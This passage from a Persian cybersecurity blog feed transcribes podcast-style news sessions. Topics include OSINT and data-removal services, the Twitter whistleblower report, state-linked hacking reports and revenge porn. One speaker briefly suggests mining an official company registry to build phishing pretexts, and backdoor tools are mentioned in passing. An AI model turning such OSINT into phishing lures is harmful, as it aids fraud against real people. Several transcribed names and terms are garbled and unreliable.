مرسی دوستان، داود عزیز، سهیل عزیز و مهدی عزیز. من یه سوال داشتم. درمورد وبسایت هایی که اطلاعات شما رو جمع آوری کردن. که فکرمیکنم خیلی درمورد OSINT بحث کردیم. اما خب این اطلاعاتی که هست به مهندسی اجتماعی کمک میکنه برای افرادی که بخوان اپروچ کنن به شما. از یه طرف هم خیلی جاها که سیستم verification knowledge base داره ، اطلاعاتی از شما میپرسه که جاهایی که قبلا زندگی کردین با توجه به تمام اطلاعاتی که تو این وبسایت ها هست خب کار ما رو راحت تر میکنه. من یکبار نشستم چند تا از این وبسایت ها رو چک کردم .دیدم خیلی هاشون فرمی دارن که وقتی اون فرم رو پرمیکنید اون اطلاعات رو حذف میکنن، بعد دیدم تعداد این وبسایت ها بالای 100 وبسایته، بعد دیدم کار خیلی ساده ای نیست و مطمئنن کپی جاهای دیگه هست. دیدم یکسری وبسایت ها هست یکیش delete me هست اگه اشتباه نکنم که این سرویس رو دارن که میرن اطلاعات شما رو از اون وبسایت ها پاک میکنن. یا اگه جای دیگه ای ظاهر شد میرن اطلاعات شما رو پاک میکنن یا درخواست میکنن پاک کنن. آیا سرویس مشابه ای رو پیشنهاد میدین؟ یا باید بیخیال شد؟ مرسی<br />
درمورد سوالتون، این وبسایت هایی که حالا نهادهایی که میان پیشنهاد میدن که ما میتونیم اطلاعات شما رو از روی اینترنت حذف کنیم، این ممکنه در این حدی باشه که از یک وبسایت یا پلتفرم خاصی که شما فرضا میرفتین قبلا سرچ میکردین، فکرمیکنم وبسایتی بود تو آمریکا که با خود شما صحبت کردیم که اگر اسم یک نفر هم بدین کل مشخصات رو شامل آدرس و محل زندگی و تلفن و&#8230; رو میداد . که شما شاید فرمی رو پر کنید و به اون پلتفرم بدین، اون پلتفرم اجازه سرچ رو از اون برداره. اون وبسایت هم فقط تو آمریکا قابل دسترسی بود. ولی نکته اینه که اون پر کردن فرم یا موارد عملا دیتای شما رو از هزاران نقطه دیگه که پاک نمیکنه، یعنی شما از همون Service Provider که شما دارید موبایل و سیمکارتتون رو ازش میگیری تا اون کسی که اینترنت منزل شما رو داره میده تا اون پلتفرم های سوشال میدا یا هر سرویس دیگه ای که شما مجانی معمولا دارید استفاده میکنید. همه اینها اون بحث track کردن اطلاعات شما رو دارند. این بحثی که الان مخصوصا تو این چند سال اخیر، یعنی با تمام این قوانینی که تو بحث اتحادیه اروپا و آمریکا و&#8230; میذارن برای بحث حریم خصوصی. اگه جایی بگن ما داریم اطلاعات شما رو حذف میکنیم که قابل دسترسی نباشه، اون کسی که بخواد این اطلاعات رو بدست بیاره، میتونه. یعنی شاید مردمی که یه مقدار دانش فنی شون پایین تر باشه، با سرچ ساده نتونن اون اطلاعات رو بدست بیارن. ولی کسی که یه مقدار تجربه داشته باشه، از رفرنس ها وریسورهای دیگه روی وب هست میتونه براحتی این اطلاعات رو بیاد بدست بیاره. حتی سهیل عزیز هم روی این قضیه خیلی صحبت کردن، انقدر tools هایی هستش که الان اوپن سورس با جزئیات خیلی زیاد شما مجانی میتونید روی همه پلتفرم های مختلف نصب کنید. حتی همون نسخه ملتگو، کامیونیتی ورژنش رو فکرکنم سهیل جان یه بار توضیح داد. مثلا چه اطلاعاتی از چه دیتابیس هایی حتی مجانی یا نسخه هایی که بخوان با مقدار کمی پول پرداخت میکنین می بینید چه اطلاعاتی درمورد یه شخص میتونه از روی کل اینترنت بصورت گراف ویژوال به شما بده. که لازم نیست شما برید ساعت ها سرچ کنید. بخاطر همینه من میگم اینها بیشتر یک بیزینسه، شاید طرف بخواد شارژ هم بکنه که بگه بیایم برای شما این اطلاعات رو حذف کنیم. یا شاید داره خودش data collection انجام میده که شما اطلاعات رو بهش میدین که برو این فرم رو پر کن و این ها رو حذف کن. خود همین ممکنه این رو به عنوان pool ی ازش استفاده کنه برای بحث advertisement و ما واقعا نمیدونیم پشت این داستان واقعا چیه. ولی من با توجه به تجربه شخصی خودم میگم، اینها رو خیلی به ابزار موثری نمیدونم. حتی اگه از یکی یا دوتا پلتفرم شاید بتونن حذف کنن. شاید از این پلتفرم هایی که مردم راحت میرن سرچ میکنن شما بتونین فرمی رو پرکنین بگین از اونجا حذف کن. اون هم بخاطر بحث های قانونی که شخص بعدا ممکنه متوجهش بشه میره اون رو حذف میکنه. ولی باز هم اون اطلاعات ممکنه در ده ها وبسایت دیگه دردسترس باشه یا به advertiser های دیگه فروخته شده باشه. که بخوان از اونا استفاده کنن برای تارگت های advertisement . بنابراین من خودم به شخصه این رو خیلی موثر نمیدونم . حالا باز سهیل عزیز هم اگر نکته ای دارن خوشحال میشم بشنوم.<br />
سهیل: خیلی ممنون، ببخشید من متوجه نشدم که سوال داشتیم. به نظر من یه جمله قشنگی مایکل هیلدن داره ، که این جمله به نظر من باید سرلوحه زندگیمون باشه. اگر شخصی یا نهادی بخواد به جایی نفوذ کنه و اون اطلاعات رو بدست بیاره، باید بپذیریم که اون رو میتونه بکنه. این رو درواقع دایرکتور سابق CIA  و NSA داره میگه درمورد بحث نفوذ کردن یا بدست آوردن اطلاعات. و یه جمله دیگه ای هم هستش به نظرم میتونه جوابی باشه واسه این قضیه. توی دنیای دیجیتال تا زمانی که شما دیتاتون رو share نکردید صاحب دیتاتون هستید. وقتی که او دیتا share بشه، دیگه شما صاحب اون دیتا نیستید. و دیگه هم پاک کردنش تقریبا غیرممکن میشه. چون همونجور هم که بارها بهش اشاره کردیم، اینترنت سه بخش داره. Surface Web, Dark Web, Deep Web . شما نهایتا بتونین از Surface Web یا حالا ایندکس گوگل این رو پاک کنید. ممکنه Search Engine های دیگه تو ایندکسشون وجود داشته باشه. ممکنه تو دارک وب بره، ممکنه تو دیپ وب بره و این بحث رو هفته پیش هم درمورد Revenge porn  هم دکتر سجادی بهش اشاره کردن. که وقتی که شخصی میاد عکس خودش رو میذاره برای پارتنر خودش و فکرمیکنه این بصورت پرایویت هست یا از one time   توی اینستاگرام میان استفاده میکنن. و فکرمیکنن این اطلاعات یکبار قابل استفاده بوده و کسی نمیتونه دوبار استفاده کنه. ولی نمیشه باز میکنه و وقتی که شما این اطلاعات رو شما یکبار share میکنید بر اساس قانون احتمالا بگیم ممکنه اون شخص آگاه باشه و بتونه سواستفاده کنه و فیلم یا عکس شخصی شما رو ذخیره و بازنشر کنه. توی چندین شبکه اجتماعی بازشر میشه و میشه قضیه Revenge porn . حالا اگه اطلاعات محرمانه باشه وقتی دیتابیس یک سایت مثل یاهو یا فیسبوک یا تلگرام هک شدن و دیتابیسشون فروخته شد، اولین نفری که میخره این رو share کنه دیگه تمومه. اون دیتابیس اونقدر share  میشه تو فرو های مختلف گذاشته میشه. که یه بخشی از اطلاعات ما دیگه رفته و بارها اشاره کردیم که اگر از شبکه های اجتماعی بخواین استفاده کنید از یکسری قواعد و قانون مدنظرمون قرار بدیم که از شماره شخصی یا شماره ای که پرایوت زندگیمون هستیم از اون استفاده نکنیم. شماره تلفن که لیک بشه از او طریق میفهمن که شما چه اکانت هایی داشتین. وقتی بفهمن با استفاده از ابزارهایی مثل منتگو که الان تقریبا میشه گفت تا 200 و خورده ای API رایگان دراختیار کسانی که دارن pen test میکنن یا هک میکنن قراردادن که میتونن تو عرض چند ساعت کلیه ی اطلاعات شما رو از سطح Surface, Dark , Deep بیان استخراج کنن. اون هم بصورت رایگان. آخرین نکته هم که بهش اشاره کردم، تا زمانیکه که اطلاعات ما شیر نکنید تو دنیال دیجیتال، صاحب اون اطلاعات هستید. این اطلاعات که میگم میتونه اسم و فامیلتون باشه. میتونه شماره تلفنتون باشه. عکس خانوادگی باشه یا هرکی که این رو شیر کنه دیگه شما صاحب اون اطلاعات نیستید.<br />
مرسی دوستان، بله درست هستش اطلاعاتی که ما به اشتراک میذاریم دیگه صاحبشون نیستیم و جاهای دیگه به اشتراک گذاشته میشن، اما خیلی موقع ها درخواست از طرف ما نبوده. یعنی &#8230;.. سوابق زمین توی آمریکا تو خیلی از ایالت ها پابلیک هستش. یعنی شما ایالتی آدرسی بزنی، نشون میده خونه چقدر پرداخت شده، حتی امضاها هم نشون میده. نمیدونم کجای این بند بوده که میتونن اینهارو به اشتراک بذارن. آیا برای مقابله با جاهای دولتی هم راهی هست که بشه درخواست داد که این رکوردها رو بردارن؟<br />
این فکرمیکنم کیسی هست که فکرمیکنم ایالت به ایالت و کشور به کشور فرق میکنه. چیزی که شما فرمودین من تو کانادا ندیدم. یعنی تو کانادا شما میتونید اطلاعات مثلا یه لند یا property رو برین آنلاین ببینین. ولی هیچوقت اون identity اون شخص که ownership اونجا هست یا این بحث امضا بخاطر اون قوانین پرایویسی سفت و سختی که تو کانادا هست اجازه نمیدن که انتشار پیدا کنه. حالا تو آمریکا و ایالتها که قوانین ممکنه تفاوت داشته باشه، قضیه متفاوته. ولی تو کانادا و اروپا به این شکل ندیدم. اون فکرمیکنم بیشتر از سمت دولت محلی یا وب سایت های ایالت ها دارن. برای این قضیه هم فکرمیکنم قاعدتا هم اگر بخواد بصورت حقوقی دنبال بشه بسته به قوانین اون ایالت هست. مخصوصا اگر سیستم دولتی باشه فکرنمیکنم کار راحتی باشه. این بیشتر بحث های حقوقی میشه و فنی نیست. باید وارد تقابلی با نهاد خصوصی یا دولتی بشیم که خیلی پیچیده میشه. از اون طرف بحث پراویسی خدشه دار میشه.<br />
توی ایران هم سایت رسمیا داریم که روزنامه های رسمی که هئیت مدیره شرکت و شرکتها رو اطلاعاتش رو میذاره که برای OSINT کردن شرک ها یا پیدا کردن اینکه یه فرد صاحب چه شرکت هایی هستش میشه ازش استفاده کرد که به نظرم میتونه برای جلوگیری از فراد باشه و هم میتونه بفهمیم یه فرد چند شرکت رو صاحبش هست وسنایریو آماده کنیم برای فرستادن یک ایمیل فیشینگ. خیلی ممنون<br />
ممنون ازتون بابت اطلاعات مفیدی که باهامون به اشتراک گذاشتید. جلسه مفیدی که درمورد مهندسی اجتماعی داشتیم. از شما دوستان و همراهان گرامی ممنونم. باز هم توضیحی بدم به دوستانی که تازه به جمع ما اضافه شدن، هرهفته شنبه شب ها اخبار امنیت سایبری رو تحت کلاب پنتر پوشش میدیم، اگه مایل بودین خود کلاب پنتر، سخنرانان، شبکه های اجتماعیشون رو فالو کنید تا از زمان تشکیل اتاق ها با خبر بشین. اگر هم که علاقه مند به شنیدن خود جلسات برگزار شده کلاب هستید از طریق  replay کلاب، کانال یوتیوب، یا بلاگ ما به آدرس peneter.com به فایل صوتی جلسات دسترسی داشت باشید. یک تمهیداتی می اندیشیم که داخل یه سری چنل های پادکست هم بذاریم  که کست باکس فکرمیکنم الان دم دست تر باشه. داخل کست باکس هم از هفته های آینده انشالله میتونید به این فایل صوتی جلسات دسترسی داشته باشین. امیدوارم که تو هفته های آینده هم باز درخدمتتون باشیم. لحظات خوب و خوشی رو براتون آرزومندم. شب و روزتون خوش</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.peneter.com/cybersecurity-news-45-1401-06-12/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>اخبار امنیت سایبری – 44 (27-08-2022)</title>
		<link>https://blog.peneter.com/cybersecurity-news-44-1401-06-05/</link>
					<comments>https://blog.peneter.com/cybersecurity-news-44-1401-06-05/#respond</comments>
		
		<dc:creator><![CDATA[Peneter]]></dc:creator>
		<pubDate>Sun, 28 Aug 2022 13:32:20 +0000</pubDate>
				<category><![CDATA[اخبار امنیت]]></category>
		<guid isPermaLink="false">https://blog.peneter.com/?p=1225</guid>

					<description><![CDATA[اخبار امنیت سایبری (جلسه 44ام) که در تاریخ پنجم شهریورماه 1401 در اتاق مرتبط با آن در کلاب Peneter.com برگزار شد رو از طریق پخش...]]></description>
										<content:encoded><![CDATA[<p>اخبار امنیت سایبری (جلسه 44ام) که در تاریخ پنجم شهریورماه 1401 در اتاق مرتبط با آن در کلاب <a href="https://www.clubhouse.com/club/penetercom">Peneter.com</a> برگزار شد رو از طریق پخش کننده زیر می‌توانید گوش بدهید یا دانلود نمایید.</p>
<p><iframe loading="lazy" scrolling="no" id="hearthis_at_track_7032579" width="100%" height="150" src="https://app.hearthis.at/embed/7032579/transparent_black/?hcolor=&#038;color=&#038;style=2&#038;block_size=2&#038;block_space=1&#038;background=1&#038;waveform=0&#038;cover=0&#038;autoplay=0&#038;css=" frameborder="0" allowtransparency allow="autoplay"></p>
<p>Listen to <a href="https://hearthis.at/peneter-com/442022.08.2701.06.05cybersecurity.news/" target="_blank" rel="noopener">#44# CyberSecurity News 2022.08.27 (1401.06.05)</a> <span>by</span><a href="https://hearthis.at/peneter-com/" target="_blank" rel="noopener">Peneter.com</a> <span>on</span> <a href="https://hearthis.at/" target="_blank" rel="noopener">hearthis.at</a></p>
<p></iframe></p>
<p>(مهدی لقایی) سلام و درود خدمت همه دوستان و همراهان گرامی کلاب پنتر دات‌کام، در کنار دکتر داود سجادی عزیز و همچنین سهیل جان هاشمی با جلسه چهل و چهارم اخبار هفتگی امنیت سایبری در خدمتتون هستیم. صحبتی هم که هفته پیش باهاتون داشتیم این هفته دیگه یک تغییر رویه ای خواهیم داشت. ابتدا به اخبار می پردازیم، یه بخش دومی هم درنظر میگیریم که به مسائل روز می پردازیم. فکرمیکنیم این سری در مورد Revenge porn هستش. یا پورن انتقامی.  بیشتر از این صحبت نمیکنم. میکروفون رو تقویم داود جان می کنم.</p>
<p>(داود سجادی) ممنونم مهدی جان. درود و عرض ادب دارم خدمت شما، سهیل عزیز و همه دوستانی که در اتاق هستند. امیدوارم هرکجا که هستید شاد و سلامت و تندرست باشید. به روال هفته های گذشته ما یک بازه زمانی تقریبا فکرمیکنم حدود 20 دقیقه سعی میکنیم یک سری از اخبار مهم که در هفته گذشته در حوزه امنیت سایبری افتاده رو مروری با سهیل جان بکنیم. و بعد از اون همونجور که اشاره کردند مهدی جان، حالا یک سری از موضوعات صحبت میکنیم که حالا این هفته موضوعی که اشاره کردند Revenge porn هستنش.  من دو تا خبر رو انتخاب کردم برای بخش اخبار، چون این هفته قراره کوتاه تر باشه که به نظرم که اخبار مهمتری بودند. یکی بحث خبر مربوط به توییتر بود. در واقع مدیر امنیت توییتر ، پیتر زاتکو که یک ریپورتی رو منتشر کرده در مورد یکسری قصور سیستماتیک که در توییتر وجود داره. سهل انگاری هایی که خیلی ساخت یافته متاسفانه در داخل این کمپانی وجود داره، اون هم از زبان کسی که به عنوان مدیر امنیت شرکت توییتر بوده، این خیلی خیلی جای بحث و بررسی داره، و مخصوصا این گزارش گویا به کنگره آمریکا ارسال شده. خود شخص کسی که این گزارش رو نوشته یعنی پیتر زاتکو که هندل توییترش دات Mudge هست ، خودش در واقع چهره آکانیکی داره . از نظر اینکه یک هکر فوق العاده شناخته شده و شاخص در فیلد امنیت سایبری هست. ایشون یکی از اعضای دو تا از بزرگترین گروه های هکری در تاریخ هست. یکی گروه هکری Aloft و یکی dead cow یا همان گاو مرده، اگر اسم این دو تا رو سرچ کنید می بینید که اعضای اینها نقش بسزایی در develop و توسعه اینترنت و اعمال خیلی از پروتکل های امنیتی که ما الان داریم استفاده میکنیم بکار برده. خود این شخص پیتز زاتکو که این گزارش رو نوشته، ایشون یکی از کسانی بوده که مثلا روی بحث حملات Buffer over flow از اوایل اینترنت خیلی تاکید داشته کار میکرده روی side-channel attack ها و حتی ابزار معروف L0phtCrack اگر ازش استفاده کرده باشید برای کرک کردن پسوردها در قدیم شاید 10-15 سال قبل خیلی ازش استفاده میشده. ایشون نویسنده ش هست و حتی به عنوان مشاور در وزارت دفاع آمریکا کار میکرده. یعنی شخص فوق العاده شناخته شده و به قول معروف با بکگراند خیلی سالیدی هست و حالا توییتر سعی داره که ایشسون داره به عنوان دیسکان امپلوی یعنی کسی که اخراجش کردن بخاطر سو مدیریت میخواد این گزارش رو غیرمعتبر نشون بده. ولی اون چیزی که خیلی مهم هست وقتی شما گزارش رو میخونید، یه بخش هاییش مخصوصا 14 بند هست ، خبرنگار معروف حوزه امنیت سایبری اومده در 14 حوزه این مشکلات اصلی که توییتر در حوزه امنیتی داره رو توضیح میده، من خودم برای خیلی بحث برانگیز بود، یعنی از خیلی از شرکت کوچیک Midrange ما شاید انتظار داشته باشیم که این استانداردها رو در نظر نگیرند بخاطر مسائل مالی، کمبودهایی که از لحاظ شاید بودجه داشته باشند. ولی توییتر با این Scale ای که داره، مثلا عنوان شده بود در یک بخشی که هیچ لاگی یا هیچ trace ی از فعالیت مهندسین در محیط پروداکشن انجام نمیگیره . یعنی اینکه مشخص نیست کی چه کسی در چه زمانی اومده چه تغییری رو چه سروری داده. این trace قابل trace کردن گویا در سیستمی که در توییتر هست وجود نداره. یا اشاره کرده بر بخشی که بالغ بر 500 هزار سرور یا VM Instance هست که از نرم افزارهای Outdated  استفاده میکنند. نرم افزارهایی که پچ نشدن یا حتی Encryption یا رمزنگاری دیتا در حالت لبی دیسک، ایمپلمنت نشده و اگر این اطلاعات به سرقت بره عمل اون بحث Privacy کل میلیون ها یوزر توییتر میتونه خدشه دار بشه و از همه شاید عجیب تر یک قسمتی بود اشاره کرده بود در این بخش که گویا یک سری از کارکنان سرویس های اطلاعاتی کشورهای دیگه در داخل توییتر تونستند نفوذ کنند و به عنوان کارمند دارن اونجا کار میکنن و حجم بسیار بالایی از کاربران توییتر هم به Sensitive Information یا اطلاعات حساس کاربران مثل شماره تلفن، ایمیل و شاید حتی چت هایی که دارن دسترسی دارند بدون هیچگونه نظراتی. چون این یک اصلی در Security هست به اسم دپنسی اف لیج بروج که شما باید حداقل سطح دسترسی لازم برای انجام کارهای روزمره خودتون به عنوان مهندس داشته باشید. و نباید بیش از چیزی که شما نیاز دارید سطح دسترسی داده بشه. و اینکه اینها بخاطر اینکه بخوان کار رو پیش ببره تو این محیطی که خیلی Agile هستش بدون دسترسی و نظارت دارن این دسترسی ها را به مهندسین خودشون میدن. نظارتی نیست. این باعث شده بود مشکلات زیادی قطعا بوجود میاد. مثلا داستانی که در اینستاگرام داشتیم، یک عده بدون هیچ نظارتی میتونستن بیان یکسری از ویدیوها رو حذف کنن یا اکانت ها رو لاک کنن. کمابیش این داستان رو در توییتر در یک Scale بیشتر و عجیب وجود داره. همه اینها وقتی شما نگاه میکنید می بینید که هیات مدیره میخوان بیان بخاطر اینکه حجم زیادی رو این کاربر رو ارزش سهام بره بالا، پاداش بیشتری بگیرند هیات مدیره، هیچ نظارتی نمیکنه و بحث مسائل امنیتی رو میخوان پشت پا بندازن. از این لحاظ که بخوان یوزر بیشتری با نیروی کمتر و هزینه کمتر بتونن این پلتفرم رو توسعه بدن و تبلیغات بگیرن. همینه که میتونه مخاطرات سنگینی رو در آینده درگیر باشه. افراد شاید در یک دید کوته بینانه ای که دارن این مخاطرات رو بوجود آوردن. من توصیه میکنم حتما گزارش پیتر زاتکو رو اگه میتونید نگاه کنید اگه هم زمان ندارید 14 بندی که &#8230;&#8230;.. گفته من در توییتی گذاشتم حتما نگاه کنید. خیلی مهم هست حداقل بدونیم که داخل این پلتفرم ها داره چی میگذره برخلاف اون چیزی که ما شاید انتظار داشته باشیم.</p>
<p>خبر دومی که من بخوام اشاره کوتاهی داشته باشم درمورد این گزارشی بود که Microsoft Threat Intelligence Center (MSTIC) این هفته منتشر کرد در حدود دو روز پیش، درمورد یک گروه هکری وابسته به وزارت اطلاعات ایران به اسم MERCURY یا همون عطارد که گویا اینها از آسیب پذیری لاک فورجی استفاده میکردند برای اینکه بخوان یکسری از سرورهای یک شرکت اسرائیلی بنام SysAid رو مثل اینکه گویا در حوزه  IT و Help Desk فعالیت داره هک کنن. در این گزارش نکته ای که جالبه بررسی کرده بر اساس observation که انجام دادن ، تحلیلی که کردن توضیح خیلی جامعی میده که چطور آمده و این گروه رو Associate کرده به وزرارت اطلاعات ایران بر اساس همون بحث TTP که مثلا ابزاری که استفاده شده، اهدافی که انتخاب کردند از یکسری سرویس های تحت Cloud file sharing بوده، اصطلاحا mail box fishing استفاده شده. اینهارو اومده تو اون گزارش تحلیل خیلی جالبی نوشته. دوستانی که بخصوص در حوزه  Digital forensicsعلاقه دارن که ببین چطور این شرکت بزرگ میان یک حمله رو ربط میدن به یک گروهی ، این گزارش به نظرم یک گزارش خیلی خوب و با زبان ساده نوشته شده اگه جزئیات رو بخونید که از نظر فنی بررسی میکنه ابزارهایی که استفاده شده بررسی میکنه. مثلا همون Command and control server  هایی  که بوده  Sequence ای که حمله انجام شده، IOC که اینها دارن و موارد مختلف رو میاد بررسی میکنه و در نهایت correlate میکنه تحلیلی که انجام داده شده به وزارت اطلاعات ایران. توصیه میکنم گزارش رو اگر علاقه دارین به این حوزه نگاه کنید. گزارش های زیاد دیگه ای در این حوزه هست. این دو خبری بود که من میخواستم اشاره بکنم. سهیل جان هم مطمئن هستم که اخبار بهتری رو برای ما دارند. ممنونم</p>
<p>(سهیل هاشمی) درود و عرض ادب خدمت دوستانی که در اتاق حضور دارند. خیلی ممنون داود جان و مهدی جان، منم  چند خبر رو کاور میکنم بعد میریم سراغ بخش ویژمون. اول خبر گزارشی رو Mandiant هفته پیش منشر کرده که درمورد گروه Novelion هستش. خود گروه Novelion از سال 2008 شروع به فعالیت کرده، attribute شده به  SVR روسیه. بیشتر تارگت هایی که داشته کشورهای عضو ناتو بودند. بر اساس گزارش Mandiant از تکنیک جدیدی استفاده کرده برای disallow لاگ های آفیس 365 که فعالیتی که انجام میدن توی ارسال ایمیل یا فیشینگ رو نتونن Trace بکنن. دومین کاری که استفاده کرده از mailbox دست نخورده استفاده کرده که این mailbox ها هنوز  MFA روشون تنظیم نشده و با پسوردهایی که حدس زدن وارد این اکانت ها شدن. MFA رو ستاپ کردن و از طریق VPN ی که ایمیل های سازمانی میگیرن تونستن نفوذ کنن به سازمان هایی که جزو کشورهای ناتو هستن.<br />
هفته گذشته دوتا ابزار اومدش که دو تا پروتکل بود. یکی RPC و یکی NTP که از طریق این دو پروتکل میشه توی شبکه بکتور گذاشت. هم روی توییتر هم روی ساب کانال peneter tools .  و همچنین یک وبیناری برگزار شده که دو شخصیت بزرگ Offensive Security ، گلدن براون و hd moore در واقع اومدن درمورد گذشته ی حضور Scanning صحبت کردند تا درحال حاضر . و این وبینار به نظرم جالب بود. اگه در Offensive Security فعالیت دارین یک تاریخچه رو میتونین از وبینار بدست بیرید و همچنین Rebranding HD Moore یا نویسنده Metasploit شرکت ران زیرو هستش. اکانت توییترش هم همین ران زیرو هست که میتونین محصولات این شرکت رو از سایتشون مشاهده کنید.<br />
خبر آخر هم Katie Nickels مدرس حوزه CTI SANS قسمت دوم CTI  رو منتشر کرد.<br />
آخرین خبر هم درمورد تیم ترد آنلالیز گوگل هستش که با آنالیزی که انجام دادن یک ابزاری رو کشف کردن. گویا این ابزار قابلیت مشاهده جیمیل ها رو داره و این فرآیند آنالیز مربوط میشه به گروه ترد آنلالیز گوگل. توانایی این رو داره که با استفاده از یک سری مکانیزم های ساده، سشن جیمیل با قراردادن این ابزار Inbox قربانی رو بخونه. این هم جزوخبرهای تاپ هفته گذشته بود. و حالا میکروفون رو تقدیم داود جان میکنم که بریم سراغ بخش ویژه اتاق پنتر که درمورد Revenge porn هستش. خیلی ممنونم</p>
<p>ممنونم سهیل جان، درمورد موضوع اتاق Revenge porn یک نکته که من از قبل از اینکه بخوام وارد بحث بشم بگم که ما در کلاب هاوس شاید 7-8 ماه پیش یا بیشتر یک اتاقی در حوزه پرایویسی یا حریم خصوصی در اینترنت داشتیم با جمعی از دوستان کلاب ریکپ . بخشی از اون اتاق قابلیتش در کلاب هاوس نداشت، شاید یک سال پیش باشه. در موضوعات مختلفی صحبت کردیم، یک بخشیش Revenge porn بود. یکسری مطالبی رو اشاره کردم که شاید بعضی از مواردی که الان میخوام بگم با اونا همپوشانی داشته باشه. موضوعی که الان انتخاب کردم برای این جلسه علتش این بود که من دیدم Netflix اخیرا مستندی رو ساخته به اسم The must hated man on the Internet و در واقع Mini series که سه قسمت داره و در همین 2022 Release شده، دقیقا داستان Hunter Moore رو داره بحث میکنه. این یکی از شخصیت های خیلی معروفیه که در این حوزه هست. Revenge porn خود کانسپت پورن انتقامی شاید از سال ها قبل از دهه 90 هم وجود داشته بوده، یعنی چیز جدیدی نیست. ولی شخصیت Hunter Moore آمد و با اون کارهایی که روی اینترنت کرد، اصطلاحا یک کالتی درست کرد که من حالا توضیح میدم. این کلا این مفهوم رو خیلی popularize کرد. کاری کرد که عده زیادی با این مفهوم آشنا شدند و متاسفانه افراد زیادی هم قربانی کارهایی شدند که این شخص کرد. زمانی هم که فعالیتهای خودش رو در اوایل دهه 2010 اون زمان داشت انجام میداد، قوانینی هم که در ایالت های مختلف آمریکا و کشورهای دیگه وجود داشت ، خیلی جلوی فعالیت این شخص رو نمیگرفت. افراد زیادی آسیب دیدن از این داستان. ولی خب الان امروزه شاید بتونیم بگیم که درواقع یک مقدار شرایط بهتر شده. حالا از لحاظ بحث لیگالیش .این مستند در کنار یکی از اپیزودهای پادکست های &#8230;&#8230;&#8230;&#8230;&#8230;.. به اسم for only your eyes پادکست Darknet Diaries اپیزود 34 . اگر این اپیزود رو هم گوش کنید، درواقع یک بخشی شاید نزیک 60-70 درصد این اپیزود میاد درمورد همین داستان Hunter Moore و Revenge porn 4صحبت میکنه. این پادکست اگه اشتباه نکنم سال 2019 نزدیک 3 سال پیش منتشر شده بود ولی موضوع انقدر الان مخصوصا اهمیت گرفته که Netflix اومده یک مستند در سال 2022 ساخته برای این موضوع و بخاطر اینکه این مستند اخیرا Release شده و موضوع هم موضوع مهمی هست، گفتم تا موضوع داغ هست، روی این موضوع صحبت بکنیم بهتر هست قبل از اینکه فراموش بشه.  کلا این مبحث اینکه افراد بیان تصاویر برهنه خودشون رو بگیرن، بحث انتشار نیست. یک نفر فقط میخواد بیاد تصاویر برهنه از خودش بگیره، این شاید برای بعضی از ما مخصوصا از Culture   ای که داریم میایم شاید غیرمعمول باشه. میگیم چرا طرف همچنین کاری میکنه. تحقیقی رو مجله ای انجام داده بود که سروری رو روی 850 خانم اومده بودن انجام داده بودن، افرادی که بین 1980 تا 1995 به دنیا آمده بودن. الان توی 40 سالگیشون و جالب بود تو اون تحقیق دیده بود که چیزی بالغ بر 89 درصد این افراد از خودشون میان نود سلفی میگیرن. سلفی های برهنه. و این رو درواقع به عنوان یک شاید ، تحقیقی در آمریکا صورت گرفته بود رو هیچ مشکلی نمی بینن. حتی زمانی که هیچ جایی انتشار نکردن. نکته اینه که خیلی از افرادی که میان رابطه عاشقانه ای با یک نفر برقرار میکنن، دوست پسر دوست دختر . این عکس ها رو ممکنه برای همدیگه هم بفرستن،بخاطر اینکه رابطه نزدیکی با همدیگه دارن، حتی رابطه جنسی دارن. ولی خب هر رابطه یک سری فراز و نشیب هایی داره، وممکنه هیچ جایی اینها دچار مشکلی بشن. بخوان Breakup کنن بخوان دعوا کنن، یکی فکرکنه که دیگری بهش خیانت کرده و اونجاست که درواقع ممکنه بخاطر اینکه یک نفر از این رابطه احساس سرخوردگی میکنه شروع کنه به اقدام به پست کردن این تصاویر روی شبکه های اجتماعی یا به قول معروف سعی کنه به عنوان ابزار فشاری استفاده کنه علیه طرف مقابل خودش. این فقط منحصر به خانم ها نیست. شاید خانم ها بیشترین قربانی باشن ولی مردان زیادی هم بودند که در همین مستندی که تهیه کرده بود به یکسری از کیس هایی که آقایون خودشون قربانی بودن اشاره شده بود. و اینکه روی پلتفرم های مختلفی انتشار میدن، مثل Redit, Twitter, Instagram, facebook و این تصاویر انتشار پیدا میکنه. نکته جالب اینه که قانون یا law در این موارد که ممکنه خیلی کلیر نباشه. مثلا اگر فرض کنید یک نفر اومده از شما با دوربین خودش یک عکس گرفته، یعنی حق معنوی اون عکس در اختیار کسی هست که این عکس رو گرفته و شما اجازه دادید از شما این عکس رو بگیره. و سال ها بعد میاد اون عکس رو انتشار میده، این میتونه درواقع یک مقدار خیلی خیلی راحت نیست که بگیم خب حالا این عکس رو اومده بدون رضایت من انتشار داده، حداقل شاید 10-15 سال پیش قانون انقدر کلیر نبود و جالبه افرادی که اقدام به انتشار این عکس ها تحت اینترنت می کردند، یا پلتفرمی ایجاد میکردند و از طریق اون پلتفرم عکس ها رو انتشار میدادن و قربانیان این عکس ها حتی مورد حمله و آزار لسانی یا آزار توسط افراد مختلف قرار بگیرند. این یک داستانیه که خیلی وقته از شاید بالای 10-15 سال یا حتی به دهه 90 برگردیم بوده و حالا کیس های مختلفی هم بوده ، این کیس فقط کیس مربوط به Hunter Moore نیست که من الان میخوام بهش اشاره کنم، مثلا یه کیس دیگه ای هم بوده که یک شخصی بوده به اسم کوین بولارت که ایشون یک سایتی رو راه انداخته بوده به اسم &#8230;&#8230;&#8230;&#8230;.. که توی این وبسایت افراد میومدن همین تصاویر دوست پسرها و دوست دخترهای قدیمی خودشون رو میومدن آپلود میکردن، تصاویر برهنه اینها با گذاشتن یکسری توضیحاتی که شاید بالای 90 درصد تصاویر مربوط به خانم ها بوده و این شخص برای اینکه بیاد بیزینسی راه بندازه از این طریق، یعنی این تصاویر رو با اسم این افراد روی وبسایتش میذاشته و این یه وبسایت دیگه ای داشته به اسم Change my ….. که میگفته اگه شما عکست تو این سایت هست و میخواید عکستون از اینجا حذف بشه میرفتید تو این وبسایت دوم این شخص 300 دلار پرداخت میکردی که بره عکسهایی شما رو از اون سایت حذف کنه. خب این کاری که این شخص کرد شاید برای مدتی بود، ولی بلافاصله یک عده علیه ش پرونده ای درست کردن، چون این مصداق بارز extortion هست یا همون اخاذی. و در سال 2013 پلیس این فرد رو بازداشت میکنه، بخاطر بحث extortion این وبسایت دان میشه، و این شخص رو بازداشت میکنن. نکته حائز اهمیت اینه که Hunter Moore در شاید همون بازه زمانی شروع میکنه وبسایت خودش رو به راه انداختن و این کانسپت Revenge porn توسعه دادن روی اینترنت 